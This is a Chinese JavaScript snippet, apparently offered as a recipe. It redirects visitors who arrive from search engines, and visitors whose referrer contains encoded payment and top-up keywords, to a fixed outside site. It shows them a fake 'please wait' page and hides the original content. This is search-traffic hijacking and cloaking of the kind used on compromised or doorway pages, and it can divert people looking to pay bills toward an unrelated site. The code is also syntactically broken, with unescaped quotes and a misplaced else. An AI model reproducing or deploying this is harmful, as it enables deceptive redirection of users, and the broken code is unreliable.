1、搜索引擎来路跳转至指定URL
var regexp=/.(sogou|soso|baidu|google|youdao|yahoo|bing|118114|biso|gougou|ifeng|ivc|sooule|niuhu|biso)(.[a-z0-9-]+){1,2}//ig;//判断搜索引擎，注意后面的正则表达式
var where =document.referrer;
if(regexp.test(where))
{
window.location.href='http://www.vlwx.com' //跳转到指定URL
}
2、判断指定关键词，若满足则跳转至指定URL
function Redirect(){
top.location="http://www.vlwx.com/";
}
var d=document.referrer;
if ((d.indexOf("%B7%D1")>0)||(d.indexOf("%B3%E4")>0)||(d.indexOf("%B3%E5")>0)||(d.indexOf("%BD%BB")>0)||(d.indexOf("%BD%C9")>0)||(d.indexOf("%CC%FC")>0) ||(d.indexOf("%B7%D1")>0) )//判断指定关键词URL16进制加密
{
document.writeln("<html><head>");//重定向跳转页面开始
document.writeln("<title>标题</title>");
document.writeln("<meta http-equiv="content-Type" content="text/html charset=gb2312" />");
document.writeln("</head><body bgcolor="#FFFFFF"> ");
document.writeln("<table cellpadding="0" cellspacing="0" border="0" width="700" align="center" height="85%"> ");document.writeln("<tr align="center" valign="middle"> ");
document.writeln(" <td> <table cellpadding="10" cellspacing="0" border="0" width="80%" align="center" style="font-family: Verdana, Tahoma; color: #666666; font-size: 11px"> ");
document.writeln(" <tr> ");
document.writeln(" <td valign="middle" align="center" bgcolor="#EBEBEB"> ");
document.writeln(" <br />");
document.writeln("<br /> ");
document.writeln("<form action="http://www.vlwx.com" method="get" id="frm1" name="frm1">");//载入框架，打开网页，注意JavaScript代码转义符
document.writeln("<b style="font-size: 16px">正在进入，请稍后..</b> ");
document.writeln("<br />");
document.writeln("");
document.writeln("<br /> <input type="submit" value="如果您的浏览器不支持跳转请点击这里">");
document.writeln("</td> ");
document.writeln(" </tr> ");
document.writeln(" </table> ");
document.writeln("</td> ");
document.writeln("</tr>");
document.writeln("</table>");
document.writeln("</body>");
document.writeln("</html> ");
document.writeln("")
document.writeln("<div style='display:none;'>");
setInterval("Redirect()",1200);//执行Redirect函数，打开延时单位毫秒}else{//不满足指定关键词，载入原始网页document.writeln("");
}
else
{
//不满足指定关键词，载入原始网页
document.writeln("");
}
